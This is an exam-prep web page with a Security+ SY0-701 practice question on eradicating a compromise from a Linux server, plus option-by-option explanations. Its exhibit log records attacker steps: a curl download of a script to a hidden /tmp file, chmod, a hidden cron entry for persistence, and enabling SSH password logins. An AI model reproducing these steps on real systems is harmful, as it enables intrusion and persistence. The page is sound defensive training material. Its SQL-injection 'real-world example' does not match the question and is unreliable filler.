The best eradication decision for a compromised server is to rebuild it from a trusted image and restore only known-good data after evidence is preserved. This is correct because a server compromise often involves attackers achieving persistence through modified binaries, kernel modules, or rootkits that simple remediation steps cannot reliably remove. Rebuilding from a trusted image eliminates all malicious artifacts at the operating system level, while restoring only known-good data from backups prevents reintroduction of compromised files. On the Security+ SY0-701 exam, this question tests your understanding of the CompTIA incident response process, specifically the eradication phase where the goal is to remove all traces of the threat. A common trap is choosing a less drastic option like running antivirus or patching, which fails against advanced persistence mechanisms. Remember the memory tip: “If it’s compromised, don’t disinfect—rebuild and reconnect.”
SY0-701 Security Operations Practice Question
This SY0-701 practice question tests your understanding of security operations. The scenario asks you to isolate a root cause — eliminate options that address a different problem before choosing. After answering, compare your reasoning against the explanation and wrong-answer breakdown below. Once you have made your selection, read the full explanation to reinforce the concept and understand why each distractor is designed to mislead on exam day.
Exhibit
Linux server audit summary: APP-SRV14
10:22:13 sshd: Accepted publickey for appsvc from 10.5.14.22
10:23:01 sudo: appsvc ran /usr/bin/curl https://198.51.100.44/p.sh -o /tmp/.x
10:23:09 sudo: appsvc ran chmod +x /tmp/.x
10:23:11 /tmp/.x created /etc/cron.d/.maint
10:23:20 /etc/ssh/sshd_config modified to allow PasswordAuthentication yes
10:24:02 outbound traffic blocked by segmentation rule
IR note: host is isolated, disk image has not been taken yet, and the business wants the service restored today
Based on the exhibit, what is the best eradication decision for the server compromise?
Clue words in this question
Noticing these words before you look at the options changes how you read each choice.
Clue: "best"
Why it matters: Signals that multiple options may be partially correct. Choose the option that most directly solves the exact problem described, not the one that sounds most complete.
Linux server audit summary: APP-SRV14
10:22:13 sshd: Accepted publickey for appsvc from 10.5.14.22
10:23:01 sudo: appsvc ran /usr/bin/curl https://198.51.100.44/p.sh -o /tmp/.x
10:23:09 sudo: appsvc ran chmod +x /tmp/.x
10:23:11 /tmp/.x created /etc/cron.d/.maint
10:23:20 /etc/ssh/sshd_config modified to allow PasswordAuthentication yes
10:24:02 outbound traffic blocked by segmentation rule
IR note: host is isolated, disk image has not been taken yet, and the business wants the service restored today
A
Restart sshd and monitor the system for another login attempt.
Why wrong: Restarting the service does not remove the malicious script, cron persistence, or configuration tampering already shown in the logs.
B
Manually delete the cron entry and reverse the SSH change on the live server.
Why wrong: Manual cleanup can miss hidden persistence or tampered binaries. It also risks contaminating evidence before proper forensics are complete.
C
Rebuild the server from a trusted image and restore only known-good data after evidence is preserved.
The server shows multiple signs of compromise: unauthorized key-based access, script download, cron persistence, and SSH configuration tampering. Those indicators make simple cleanup too risky. A rebuild from a trusted image is the most reliable eradication step, especially once the host is isolated. Evidence should be preserved first, then the service should be restored from validated data and a hardened baseline.
D
Increase the SIEM retention period and keep the current server online.
Why wrong: Longer log retention improves visibility, but it does not remove the compromise or restore trust in the host.
Answer the question above first, then reveal the full breakdown to understand why each option is right or wrong.
Correct answer & explanation
✓
Rebuild the server from a trusted image and restore only known-good data after evidence is preserved.
Option C is correct because a server compromise implies that the attacker may have achieved persistence through modified binaries, kernel modules, or rootkits that cannot be reliably removed by simple remediation steps. Rebuilding from a trusted image ensures that all malicious artifacts are eliminated, and restoring only known-good data from backups (after forensic preservation) prevents reintroduction of compromised files. This aligns with the CompTIA incident response process, where eradication must remove all traces of the threat, and rebuilding is the safest approach for a confirmed compromise.
Key principle: Answer the scenario, not the keyword: identify the specific constraint before choosing the most familiar-sounding option.
Answer analysis
Option-by-option breakdown
For each option: why learners choose it and why it is or isn't the right answer here.
✗
Restart sshd and monitor the system for another login attempt.
Why it's wrong here
Restarting the service does not remove the malicious script, cron persistence, or configuration tampering already shown in the logs.
✗
Manually delete the cron entry and reverse the SSH change on the live server.
Why it's wrong here
Manual cleanup can miss hidden persistence or tampered binaries. It also risks contaminating evidence before proper forensics are complete.
✓
Rebuild the server from a trusted image and restore only known-good data after evidence is preserved.
Why this is correct
The server shows multiple signs of compromise: unauthorized key-based access, script download, cron persistence, and SSH configuration tampering. Those indicators make simple cleanup too risky. A rebuild from a trusted image is the most reliable eradication step, especially once the host is isolated. Evidence should be preserved first, then the service should be restored from validated data and a hardened baseline.
Clue confirmation
The clue word "best" in the question point toward this answer.
Related concept
Read the scenario before looking for a memorised answer.
✗
Increase the SIEM retention period and keep the current server online.
Why it's wrong here
Longer log retention improves visibility, but it does not remove the compromise or restore trust in the host.
Common exam traps
Common exam trap: answer the scenario, not the keyword
The trap here is that candidates may think manual remediation (Option B) is sufficient because they underestimate the attacker's ability to hide persistence mechanisms, or they confuse containment (e.g., isolating the server) with eradication (completely removing the threat).
Trap categories for this question
Command / output trap
Restarting the service does not remove the malicious script, cron persistence, or configuration tampering already shown in the logs.
Detailed technical explanation
How to think about this question
In Linux server compromises, attackers often use techniques like LD_PRELOAD rootkits, kernel modules, or SSH authorized_keys modifications that survive simple remediation. Rebuilding from a trusted image (e.g., from a golden AMI or verified ISO) ensures that no hidden persistence mechanisms remain, and restoring data from backups taken before the compromise (after validating their integrity) prevents reintroduction of backdoors. This approach is recommended by NIST SP 800-61 for incidents where the integrity of the system cannot be guaranteed.
KKey Concepts to Remember
Read the scenario before looking for a memorised answer.
Find the constraint that changes the correct option.
Eliminate answers that are true in general but not in this case.
TExam Day Tips
→Watch for words such as best, first, most likely and least administrative effort.
→Review why wrong options are wrong, not only why the correct option is correct.
Key takeaway
Answer the scenario, not the keyword: identify the specific constraint before choosing the most familiar-sounding option.
Real-world example
How this comes up in practice
A security team runs a vulnerability scan on a web application and discovers an unpatched SQL injection flaw. The team prioritises remediation by CVSS score — critical flaws are patched within 24 hours, high within 7 days. Questions like this test whether you understand vulnerability management processes, scanning tools, and remediation prioritisation.
Related glossary terms
Concepts from this question explained
These glossary pages explain the core terms tested in this SY0-701 question in full detail.
Security Operations — This question tests Security Operations — Read the scenario before looking for a memorised answer..
What is the correct answer to this question?
The correct answer is: Rebuild the server from a trusted image and restore only known-good data after evidence is preserved. — Option C is correct because a server compromise implies that the attacker may have achieved persistence through modified binaries, kernel modules, or rootkits that cannot be reliably removed by simple remediation steps. Rebuilding from a trusted image ensures that all malicious artifacts are eliminated, and restoring only known-good data from backups (after forensic preservation) prevents reintroduction of compromised files. This aligns with the CompTIA incident response process, where eradication must remove all traces of the threat, and rebuilding is the safest approach for a confirmed compromise.
What should I do if I get this SY0-701 question wrong?
Identify which exam domain this question belongs to, review the core concept, then practise similar questions from the same domain.
Are there clue words in this question I should notice?
Yes — watch for: "best". Signals that multiple options may be partially correct. Choose the option that most directly solves the exact problem described, not the one that sounds most complete.
What is the key concept behind this question?
Read the scenario before looking for a memorised answer.
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